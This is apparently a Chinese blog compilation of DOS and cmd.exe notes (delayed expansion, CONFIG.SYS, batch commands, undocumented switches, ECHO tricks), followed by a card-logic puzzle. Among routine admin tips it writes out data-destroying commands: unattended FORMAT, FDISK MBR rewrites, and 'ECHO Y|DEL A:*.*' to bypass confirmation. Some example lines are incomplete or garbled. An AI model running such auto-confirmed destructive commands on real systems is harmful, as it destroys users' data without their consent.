会提取 PATH 变量的所有字符,除了最后两个。


终于添加了延迟环境变量扩充的支持。该支持总是按默认值被
停用,但也可以通过 CMD.EXE 的 /V 命令行开关而被启用/停用。
请参阅 CMD /?


考虑到读取一行文本时所遇到的目前扩充的限制时,延迟环境
变量扩充是很有用的,而不是执行的时候。以下例子说明直接
变量扩充的问题:


    set VAR=before
    if “%VAR%” == “before” (
        set VAR=after
        if “%VAR%” == “after” @echo If you see this, it worked
    )


不会显示消息,因为在读到第一个 IF 语句时,BOTH IF 语句中
的 %VAR% 会被代替;原因是: 它包含 IF 的文体,IF 是一个
复合语句。所以,复合语句中的 IF 实际上是在比较 “before” 和
“after”,这两者永远不会相等。同样,以下这个例子也不会达到
预期效果:


    set LIST=
    for %i in (*) do set LIST=%LIST% %i
    echo %LIST%


原因是,它不会在目前的目录中建立一个文件列表,而只是将
LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在
FOR 语句被读取时,只被扩充了一次;而且,那时的 LIST 变量
是空的。因此,我们真正执行的 FOR 循环是:


    for %i in (*) do set LIST= %i


这个循环继续将 LIST 设成找到的最后一个文件。


延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行
时间扩充环境变量。如果延迟的变量扩充被启用,可以将上面
例子写成以下所示,以达到预期效果:


    set VAR=before
    if “%VAR%” == “before” (
        set VAR=after
        if “!VAR!” == “after” @echo If you see this, it worked
    )


    set LIST=
    for %i in (*) do set LIST=!LIST! %i
    echo %LIST%


如果命令扩展名被启用,有几个动态环境变量可以被扩展,但
不会出现在 SET 显示的变量列表中。每次变量数值被扩展时,
这些变量数值都会被动态计算。如果用户用这些名称中任何
一个定义变量,那个定义会替代下面描述的动态定义:


%CD% – 扩展到当前目录字符串。


%DATE% – 用跟 DATE 命令同样的格式扩展到当前日期。


%TIME% – 用跟 TIME 命令同样的格式扩展到当前时间。


%RANDOM% – 扩展到 0 和 32767 之间的任意十进制数字。


%ERRORLEVEL% – 扩展到当前 ERRORLEVEL 数值。


%CMDEXTVERSION% – 扩展到当前命令处理器扩展名版本号。


%CMDCMDLINE% – 扩展到调用命令处理器的原始命令行。

12
CONFIG.SYS文件的命令与配置


    CONFIG.SYS是DOS系统中的一个重要文件,它的配置直接影响到系统的使用及其效率。如果配置不当的话,可能很多程序都无法正常运行。因此,正确合理地配置CONFIG.SYS文件是十分必要和重要的。下面我向大家介绍一下CONFIG.SYS中的命令及其配置方法。


CONFIG.SYS中的命令:
注意:所有以HIGH结尾的命令(如DEVICEHIGH)表示将其调入UMB(上位内存),但有些这样的命令(如FILESHIGH)必须在MS-DOS 7.x版本中使用。


ACCDATE:指定对每一个驱动器是否记录文件最后被访问的日期。
用法:ACCDATE= 驱动器 1+|- [ 驱动器 2+|-]…
如:ACCDATE=C+ D+ E+将在C,D,E盘中记录文件最后被访问的日期。
此命令仅用于MS-DOS 7.x中。


BREAK:设置或清除扩展的CTRL+C检查。
用法:BREAK=ON|OFF


BUFFERS/BUFFERSHIGH:为指定数量的磁盘缓冲区分配内存。
用法:BUFFERS=磁盘缓冲区数量,[从属高速缓存中的缓冲区数量]


DEVICE/DEVICEHIGH:将指定的设备驱动程序装入内存。
用法:DEVICE/DEVICEHIGH 文件名 [参数]
其中,文件名是文件的完整路径,如C:\DOS\HIMEM.SYS。


DOS:用于DOS系统的配置,如是否使用HMA(高端内存区)等。
用法:DOS=[HIGH|LOW][,UMB|,NOUMB][,AUTO|,NOAUTO][,SINGLE]
其中,HIGH和LOW表示使用HMA或不使用HMA,UMB和NOUMB表示使用UMB或不使用UMB,AUTO或NOAUTO表示系统自动配置或不自动配置,SINGLE表示使用单一模式的DOS。其中,AUTO/NOAUTO和SINGLE仅用于MS-DOS 7.x中。


DRIVPARM:设置现有物理设备的参数。
注:此命令用得很少,我也没用过,所以暂时跳过。


FCBS/FCBSHIGH:指定可以同时打开的文件控制块 (FCB) 的数量。
用法:FCBS/FCBSHIGH=可以同时打开的FCB的数量。
注:由于FCB主要是在DOS 1.x中使用,对于高版本,所以可以让系统自动配置。


FILES/FILESHIGH:指定 可以同时访问的文件数量。
用法:FILES/FILESHIGH=可以同时访问的文件数量。
注:一般FILES/FILESHIGH的设置值在30左右比较合适。


INSTALL/INSTALLHIGH:用于加载TSR(内存驻留程序)。
用法:INSTALL/INSTALLHIGH=文件名 [参数]
如:INSTALLHIGH=C:\DOS\DOSKEY.COM /APPEDIT


LASTDRIVE/LASTDRIVEHIGH:指定可以访问的驱动器的最后有效的驱动器字母。
用法:LASTDRIVE=驱动器字母
如LASTDRIVE=F会将F设置成最后有效的驱动器字母。


NUMLOCK:指定启动时NUMLOCK指定灯是否打开。
用法:NUMLOCK=ON|OFF


REM:添加注解。
用法:REM [注解字符串]
注:注解中的字符串只是用来增加可读性,将不被执行。


SET:设计DOS环境变量。
用法:SET 变量=[变量值]


SHELL:指定DOS 使用的命令解释程序的名称和位置。
用法:SHELL=文件名 [参数]
注:文件名默认是COMMAND.COM,您也可以指定其它的文件,如4DOS.EXE等。


STACK/STACKHIGH:指定使用的堆栈数量。
用法:STACK/STACKHIGH=堆栈数量,每个堆栈的大小
注:通常指定的值是9,256,这个值可以满足大多数的需求。


SWITCHES:指定一些特殊选项。
用法:SWITCHES=[/W] [/F] [/K] [/N] [/E[:n]]


其它的是一些菜单配置命令,如MENUITEM,MENUCOLOR等。


在MS-DOS 7.x中还有一些未公开命令,如LOGO,COMMENT等。


    知道了以上的命令后,就要谈谈如何利用这些命令来配置CONFIG.SYS文件了。配置的好坏对系统的影响是非常大的。以下是我的电脑(都是MS-DOS 7.10)中CONFIG.SYS文件中的内容,大家可以用作参考。


电脑一,使用EMM386.EXE:


device=d:\dos\echo.sys L/o/a/d/i/n/g CONFIG.SYS…
device=d:\dos\himem.sys
device=d:\dos\emm386.exe noems novcpi i=b600-b7ff
devicehigh=d:\dos\mdctools\setver.exe
devicehigh=d:\dos\ifshlp.sys
devicehigh=d:\dos\vide-cdd.sys /d:IDE-CD
devicehigh=d:\dos\cloaking.exe
country=086,936,d:\dos\country.sys
shell=c:\command.com /p /e:640
set temp=e:\temp
set tmp=e:\temp
accdate=c+ d+ e+
dos=high,umb,auto
numlock=off
files=30
buffershigh=30,0
fcbshigh=4,0
lastdrivehigh=n
stackshigh=9,256


电脑二,使用UMBPCI.SYS:


device=d:\dos\echo.sys L/o/a/d/i/n/g CONFIG.SYS…
device=d:\dos\echo.sys
device=d:\dos\umbpci.sys
device=d:\dos\hiram.exe
devicehigh=d:\dos\himem.sys
devicehigh=d:\dos\setver.exe
devicehigh=d:\dos\ifshlp.sys
devicehigh=d:\dos\vide-cdd.sys /d:IDE-CD
shell=d:\dos\command.com /p /e:640
set temp=e:\temp
set tmp=e:\temp
accdate=c+ d+ e+
dos=high,umb,auto
country=086
numlock=off
fileshigh=30
buffershigh=30,0
stackshigh=9,256
lastdrivehigh=n


   您不妨试试,相信您也会做出好的CONFIG.SYS文件来。


返回页首



——————————————————————————–


DOS批处理文件


    DOS下的可执行文件有三种,分别是EXE,COM和BAT。其中,EXE和COM文件都是二进制形式的,只有BAT文件是文本形式的,可以直接阅读。因此,BAT文件和以上二进制可执行文件相比,内容要简单的多。这些文件内包含着DOS命令的集合,通常叫作批处理文件。批处理文件的组成虽然比较简单,但其用处非常大,使用也比较广泛。比如每次都执行一些相同的命令,您一定会觉得非常麻烦,而放在批处理文件中执行的话则轻松得多。AUTOEXEC.BAT就是一个特殊的批处理文件,它在DOS的启动时自动运行,在系统的配置中发挥着非常大的作用。因此,要学好DOS,就要学好批处理文件。下面介绍批处理文件的命令及其使用。


DOS自带的批处理命令:


@:将这个符号放在批文件中其它命令的前面,运行时将不显示命令本身。
如@ECHO OFF命令就在批文件首经常用到。


CALL:从一个批文件中调用另一个批文件,调用完后继续执行原来的批文件。
用法:CALL [批文件名]
注:也可以使用COMMAND /C命令完成同样的操作。


CHOICE:选择命令。这是一个DOS外部命令,但它主要用在批文件中。
CHOICE命令执行后将提示可选择的项目,这时通过一个按键来选则。
用法:CHOICE:[/C[:]按键表] [/N] [/S] [/T[:]选择值,秒数] [显示文本]
其中,/C表示可选则的按键,/N表示不要显示提示信息,/S表示大小写字符敏感方式,/T表示若在批定的时间内没有选则的话,自动执行/C中定义的某个选择值。显示文本是CHOICE命令执行时的提示信息。选择结果将用ERRORLEVEL值来表示。


ECHO:显示指定的信息。通常显示在屏幕上。
如ECHO Hello将在屏幕上显示Hello的字样。
另外,ECHO ON|OFF用来设置在批文件执行时是否显示命令本身。而ECHO OFF与@的意思一样,但它是一个单独的命令,而不能像@那样放在其它命令之前。


FOR:对于指定的文件运行相应的命令。
大家知道,DOS下许多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。然而,并非所有的DOS命令都支持通配符,如TYPE(文件内容显示命令)就不支持。有了FOR命令就没有关系了,利于它可以使TYPE命令可以一次显示多个文件。
用法:FOR %变量名 IN (文件集) DO 命令 [命令参数]
注:以上是FOR命令的固定形式,IN和DO的位置必须正确,否则将提示语法错误。
如FOR %F IN (*.*) DO TYPE %F命令就可以实现TYPE命令一次显示多个文件。
注:%F是变量名,也可用%G等代替,但前后必须一致。在批文件中用%%F代替。


GOTO:转到批文件内部的某个标号下执行。
大家知道,在编程中往往需要重复或跳转到某个地方继续执行,如BASIC语言中的GOTO命令。批文件中的GOTO命令也可以完成类似的功能。
用法:GOTO [标号名]
其中,标号名是可以随意设置的,如Hello等。设置标号用“:”符号,如“:Hello”,这时用GOTO Hello命令将转到“:Hello”所在的位置继续执行批文件。


IF:条件判断命令。这是一项很有用的批处理命令。
用法1:IF [NOT] EXIST 文件名 命令 [命令参数]
意义:如果[不]存在某个文件将执行某个命令。
用法2:IF [NOT] ERRORLEVEL 错误返回代号 命令 [命令参数]
意义:如果错误返回代号[不]大于或等于指定的代号将执行某个命令。
其中,ERRORLEVEL表示错误返回代号,很有用。对于很多DOS命令,由于执行的结果不同(如执行成功,执行失败,或被用户中断等),这些命令会返回不同的代号,以表示不同的结果。IF ERRORLEVEL命令就根据这个不同结果而产生的不同代号来执行不同的命令,通常用在某条命令之后。如IF ERRORLEVEL 1 ECHO OK!表示如果当前的错误返回代号大于或等于1时将在屏幕上显示“OK!”的字样。
用法3:IF [NOT] 字符串1==字符串2 命令 [命令参数]
意义:当字符串1和字符串2[不]相等的时候执行某个命令。


PAUSE:暂停批文件的执行,并显示“按任意键继续”的字样。


REM:添加注解。用于增加文件可读性,将不被执行。也可以用::来代替。


SHIFT:在批文件中改变可替换参数的位置。
可替换参数是一种特殊的参数,只能用在批文件中。这些参数是由使用者在执行批处理命令时输入的。比如,我们执行DIR /S /W命令,其中DIR是命令名,/S和/W是它的执行参数。在批文件中,这些命令参数将被分别赋予到可替换参数中,如/S就成的%1,/W就可了%2,以至类推,而命令本身则被赋予%0中。批文件就是利用可替换参数对执行时输入的参数来进行操作的。比如现在有个批处理文件叫MYFILE.BAT,在命令行下执行MYFILE.BAT YES,于是%0的值就是MYFILE.BAT,%1的值就是“YES”,可以在此批文件中用IF等命令判断出%1等参数的值,然后根据这些值的不同执行不同的操作,如IF “%1″==”YES” GOTO YES。
SHIFT命令不带任何参数,执行结果是将%0的值换成原%1的值,而原%1的值变成的原%2的值,以此类推。注意它的不可逆转性。因为批处理文件执行时的运行参数可能很多,可能会超过10个,而可替换参数只能从%0到%9,若想取得%9以后的参数值,只能使用SHIFT命令。这时,整个参数列将向前推。


    以上是DOS的自带批处理命令,可以看出,这些命令是非常少的,若要编写较复杂的程序,用以上的命令显然不可能实现。这时就需要其它实用的批处理工具了,著名且实用的有TESTIF,STRING,ASET,BATCHMAN,WBAT等,均可在“DOS软件分类下载”中的“脚本工具”中下载。在批处理文件中使用以上的工具可以实现非常强大的功能,甚至可以完成许多高级语言程序的功能。所以,如果您想编者按写批处理文件的话,它们是您不错的选择,不仅有详细的文档,而且还在不断发展中。


    下面就要谈批处理文件的制作了。其实制作批处理文件并不难,只要掌握了方法就行了。随着您操作次数的增多,您会觉得越来越容易的。


    首先使用一个文本编辑器,如DOS自带的EDIT命令或其它的编辑工具,如PEDIT等新建一个空白文件(当然,用COPY CON命令直接创建也行),然后在其中根据您想完成的功能输入批处理命令。如果您只是想执行一些的DOS命令的集合,则按顺序在每行输入一个DOS命令就行了。但如果您是想完成一些更复杂的操作,就需要以上的批处理命令或上述的批处理工具了。


    以下是我原来所编的一个从1%慢慢增加到100%的批处理小程序,大家可以用作参考,以编写自己的程序。


@echo off
break off
cls
set c=0
writext 10 1 Wait…
be delay 4
:loop
writext 10 9 %c%%%completed.
count c
if not %c%==101 goto loop
echo.
set c=
kpush /f
break on


    其中,我用到了WRITEXT,COUNT,BE和KPUSH,这些都是批处理工具。WRITEXT是ECHO的增强工具,可以自定义显示的效果。COUNT是变量的计算工具,如原来C的值为1,执行COUNT C后C的值就为2。BE是个强大的批处理增强工具,在Norton Utilties 8.0中带有。KPUSH是键盘缓冲工具。


    总之,利用批处理命令和批处理增强工具,我们可以编出许多强大的批处理文件来,大家不妨一试。许多批处理工具可以在“脚本工具”中下载。


返回页首



——————————————————————————–


DOS未公开命令与参数


    DOS系统中有许多未公开的命令与参数。我经过收集整理,发现了很多。由于DOS的有好几种,所以下面仅以MS-DOS为例,介绍一下常用命令中的未公开的命令与参数。经过比较,我发现在MS-DOS的各版本中,7.x版中的未公开命令与参数是最多的,这些7.x版本中的未公开命令与参数在其它DOS版本中通常是没有的,但却是非常实用的,例如COMMAND /Z命令,这是用DOS自带的命令显示ERRORLEVEL(错误返回代码)值的唯一方法(当然,用其它的附加工具,如ERR2ENV等也可以做到)。


DOS未公开命令:


TRUENAME:用于显示实际的路径,对SUBST等命令很有用。
INSTALLHIGH:用在CONFIG.SYS中,将文件调入UMB。
LOGO和COMMENT:仅用在MS-DOS 7.x中的CONFIG.SYS中,用法未知。


DOS未公开参数:


COMMAND /F 使Fail作为Abort,Retry,Fail中的默认选项。
COMMAND /D 在DOS5中是禁止AUTOEXEC.BAT自动执行;在6.0+版本中是禁止/F参数。
COMMAND /Z 显示ERRORLEVEL(错误返回代码)信息。
COMMAND /T 在MS-DOS 7.x中强制将COMMAND.COM永久性调入常规内存。


FORMAT /AUTOTEST 自动完成格式化过程。
FORMAT /BACKUP 自动完成格式化过程,并提示输入卷标。
FORMAT /SELECT 只在磁盘上备份系统区数据,相当于MIRROR程序。
FORMAT /SELECT /U 将引导区和文件分配表用F6H填之。
FORMAT /Z:n 设置FAT32分区上的簇大小。


FDISK /MBR 重写硬盘主引导记录。
FDISK /CMBR drive 重写指定驱动器上的主引导记录。
FDISK /PRI:size 创建主分区。
FDISK /EXT:size 创建扩展分区。
FDISK /LOG:size 在扩展分区上创建逻辑驱动器。
FDISK /PRMT|/Q 提示行动/安静模式。
FDISK /PARTN 将分区表信息保存到PARTSAV.FIL中?BR>FDISK /ACTOK 用于MS-DOS 7.x中,跳过完整性测试。
FDISK /FPRMT 用于MS-DOS 7.x中,自动采用FAT32,并跳过提示信息。


DOSKEY /APPEDIT 使DOSKEY也应用于其它程序(如DEBUG等)中。
DOSKEY /COMMAND和/PERMANENT和/SCRSIZE和/XHISTORY 用法未知。


SCANDISK /CLIP 用于MS-DOS 7.x中,将长文件名剪为短文件名。
SCANDISK /NOLOST 用于MS-DOS 7.x中,不提示表面测试或丢失簇。
SCANDISK /NOUI和/TEXT 用于MS-DOS 7.x中,使用标准的DOS界面。
SCANDISK /MOUNT 相当于SCANDISK.INI中的Mount=Always。
SCANDISK /TIME 相当于SCANDISK.INI中的ScanTimeOut=On。


QBASIC /QHELP 进入DOS的全屏幕帮助系统,相当于执行HELP命令。
QBASIC /EDCOM 进入DOS的文件编辑器,相当于执行EDIT命令。


MEM /A或MEM /ALL 显示HMA信息。


VER /R 显示扩展的版本信息。


DIR /Z 用于MS-DOS 7.x中,表示不显示长文件名。


DEVICE=HIMEM.SYS /Q 当HIMEM.SYS加载时使用安静模式。


DEVICE=EMM386.EXE NOTR 不要检测Token Ring网络适配器。


DOS未公开用法:


IF EXIST XMSXXXX0 … 此命令可以判断当前是否安装了XMS内存管理器(通常是HIMEM.SYS)。注意:是XMSXXXX0,而不是有些文章中提到的错误的XMMXXXX0.
IF EXIST EMMXXXX0 … 此命令则用来判断当前是否安装了EMS内存管理器(通常是EMM386.EXE)。


:: 此符号可在批处理文件中代替REM注解命令,可以加快运行速度。


以上是MS-DOS中的未公开命令与参数,其中有些是非常实用的,大家不妨一试。





 

改变MS-DOS提示符.
PROMPT [text]
  text    指定新的命令提示符.
提示符由通常的字符和下列特殊代码构成:
  $Q   = (等号)
  $$   $ (美元符号)
  $T   当前时间
  $D    当前日期
  $P   当前驱动器和路径
  $V    MS-DOS版本号
  $N   当前驱动器
  $G   > (大于号)
  $L   < (小于号)
  $B   | (管道)
  $H   退格(擦除前一个字符)
  $E   Escape码(ASCII码27)
  $-   回车换行
直接键入 PROMPT 可将提示符改回默认设置.
其实可以设置任意的提示符,还可以配合使用
如PROMPT HAHAH        PROMPT $P$G

  +++CTTY DEVICE
含义是把输入重定向到指定设备,如CTTY NUL(空设备,屏蔽了所有输入设备),CTTY CON(键盘)
有效地设备类型
PRN, LPT1, LPT2, LPT3, CON, AUX, COM1, COM2, COM3, and COM4.

在批处理文件第一行加入@CTTY NUL,可以屏蔽一切输入设备,也防止有人用CTRL+C或者CTRL+BREAK来跳过批处理文件的执行过程,保障批处理(如AUTOEXEC.BAT)继续正常执行
在最后一行加入@CTTY CON,使键盘重新作用。但是如果在执行的时候需要输出某些信息
可以如下:
@CTTY NUL
    ECHO This will be displayed  > CON
    ECHO but this will not.
@CTTY CON
但是有个小的问题,就是echo的时候CTRL+C和CTRL+BREAK又被系统恢复了,所以一直处在
CTTY NUL 的状态下,也就产生了错误了。可以用secondary command processor (TBD) to trap the control break.

例子:       choice /c:abc Choose an option
                    if errorlevel 3 go to —
                    if errorlevel 2 go to
                    if errorlevel 2 go to    必须从大到小
显示 :        Choose an option [a,b,c]?

标准格式:    CHOICE [/C[:]keys]  [/N]  [/S]  [/T[:]c,nn] [text]

/c——/cabc或者/c:abc,总之开关和keys之间没有空格
/n——不提示[a,b,c],但提示text
/s——-使key对大小写敏感
/t——–/t(a/b/c),nn或者/t::(a/b/c),nn    c指keys,nn指秒数(0-99),暂停nn秒后转向c分支
text—–在[a,b,c]前面显示的文本,若是其中有/,必须将全部text用“”包含起来才会正常显示,仅包含
                部分不可

errorlevel:顺序增长1。。。。。。255
若是执行过程中有错误,返回255
若是执行时CTRL+BREAK 或CTRL+C ,返回0
如果errorlevel返回码大于或等于if指定的值,批处理认为条件为真,同于相等情况,执行此if分支的命令
所以要将errorlevel降序排列

标准格式:CALL [drive:][path]filename [batch-parameters]

【drive】[path] filename———-指定要调用的批处理文件(必须要有bat后缀哦)
【batch-parameters】————传递批处理文件要用的参数(%1),开关(/c),变量(%hehe%)
调用完毕返回父进程。

call可以递归,但是必须要有结束分支

设有some.bat,有个进程要调用之,此进程有两个参数%1,%2要传给some.bat
Sample:    call some/some.bat  %1  %2

1.   作为控制批处理命令在执行时是否显示命令行自身的开关


格式:ECHO [ON|OFF]


如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。


2.   显示当前ECHO设置状态


格式:ECHO


3.   输出提示信息


格式:ECHO   信息内容

++++++++++++++++++

echo off 之后可以用echo message 显示想显示的内容而不推出echo off状态

++++++++++++++++++


4.   关闭DOS命令提示符


在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。


5.   输出空行,即相当于输入一个回车


格式:ECHO.


值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。


在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:


C:>ECHO.|TIME


ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。


6.   答复命令中的提问


格式:ECHO答复语|命令文件名


上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入“Y”回车:


C:>ECHO Y|CHKDSK/F


C:>ECHO Y|DEL A :*.*


7.   建立新文件或增加文件内容


格式:ECHO 文件内容>文件名 建立或覆盖文件


ECHO 文件内容>>文件名            追加


例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件


C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容


C:TYPE AUTOEXEC.BAT显示该自动批处理文件


@ECHO OFF


C:\CPAV\BOOTSAFE


8.   向打印机输出打印内容或打印控制码


格式:ECHO 打印机控制码>PRN


ECHO 打印内容>PRN


下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似情况依此类推:


C:>ECHO <Alt>+156<Alt>+42<Alt>+116>PRN(输入下划线命令FS*t)


C:>ECHO <Alt>+155@>PRN(输入初始化命令ESC@)


C:>ECHO.>PRN(换行)


9.   使喇叭鸣响


C:>ECHO ^G


“^G”是用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。


10.执行ESC控制序列修改屏幕和键盘设置


我们知道DOS的设备驱动程序ANSI.SYS提供了一套用来修改屏幕和键盘设置的ESC控制序列。如执行下述内容的批处理程序可以把功能键F12定义为DOS命令“DIR/W”,并把屏幕颜色修改为白色字符蓝色背景。


@ECHO”←[0;134;”DIR/W”;13p


@ECHO”←[1;37;44m


(注:批处理文件中“←”字符的输入方法是在编辑状态下按Alt中小键盘上的27)

2004年10月28日

这张牌是方块5。 
  P先生知道这张牌的点数,而判断不出这是张什么牌,显然这张牌的点数不可能是J、8、2、7、3、K、6。因为J、8、2、7、3、K、6这7种点数的牌,在16张扑克牌中都只有一张。如果这张牌的点数是以上7种点数中的一种,那么,具有足够推理能力的P先生立即就可以断定这是张什么牌了。例如,如果约翰教授告诉P先生:这张牌的点数是J,那么,P先生马上就知道这张牌是黑桃J了。由此可知,这张牌的点数只能是4或5或A或Q。

  接下来,分析Q先生所说的”我知道你不知道这张牌” 这句话。

  Q先生知道这张牌的花色,同时又作出”我知道你不知道这张牌”的断定,显然这张牌不可能是黑桃和草花。为什么?因为如果这张牌是黑桃或草花,Q先生就不会作出”我知道你不知道这张牌”的断定。

  是这样分析的:先假设这张牌是黑桃。如果这张牌是黑桃,而且如果这张牌的点数是J、8、2、7、3时,P先生是能够知道过张是什么牌的;假设这张牌是草花,同理,Q先生也不能作出这样的断定,因为假如点数为K、6时,P先生能马上知道这张牌是什么牌,在这种情况下,Q先生当然也不能作出”我知道你不知道这张牌”的断定。因此,S先生从这里可以推知这张牌的花色或者是红桃,或者是方块。

  而具有足够推理能力的P先生听到Q先生的这句话,当然也能够得出结论。这就是说,Q先生的”我知道你不知道这张牌”这一断定,在客观上已经把这张牌的花色暗示给P先生了。

  得到Q先生的暗示,P先生作出 ”现在我知道这张牌了”的结论。从这个结论中,必然能推知这张牌肯定不是A。为什么?这样想:如果是A,仅仅知道点数和花色范围(红桃、方块)的P先生还不能作出”现在我知道这张牌了”的结论,因为它可能是红桃A,也可能是方块A。既然P先生说”现在我知道这张牌了”,可见,这张牌不可能是A。排除A之后,这张牌只有3种可能:红桃Q、红桃4、方块5。这样一来范围就很小了。P先生这一断定,当然把这些信息暗示给了Q先生。

  得到P先生第二次提供的暗示之后,Q先生作了”我也知道了”的结论。从Q先生的结论中,推知,这张牌一定是方块5。为什么?可以用一个非常简单的反证法论证。因为如果不是方块5,Q先生是不可能作出”我也知道了”的结论的(因为红桃有两张,仅仅知道花色的Q先生,不能确定是红桃Q还是红桃4)。现在Q先生作出了”我也知道了”的结论,这张牌当然是方块5。

[讨论]看看你的智商

这张牌是什么牌?
下面出一题,如找出答案的,智商起码达到140: P先生、Q先生都具有足够的推理能力。这天,他们正在接受推理面试。 他们知道桌子的抽屉里有如下16张扑克牌: 红桃 A、Q、4 黑桃 J、8、4、2、7、3 草花 K、Q、5、4、6 方块 A、5 约翰教授从这16张牌中挑出一张牌来,并把这张牌的点数告诉P先生,把这张牌的花 色 告诉Q先生。这时,约翰教授问P先生和Q先生:你们能从已知的点数或花色中推知这张 牌是什么牌吗? P先生:“我不知道这张牌。“ Q先生:“我知道你不知道这张牌。“ P先生:“现在我知道这张牌了。“ Q先生:“我也知道了。“ 请问:这张牌是什么牌?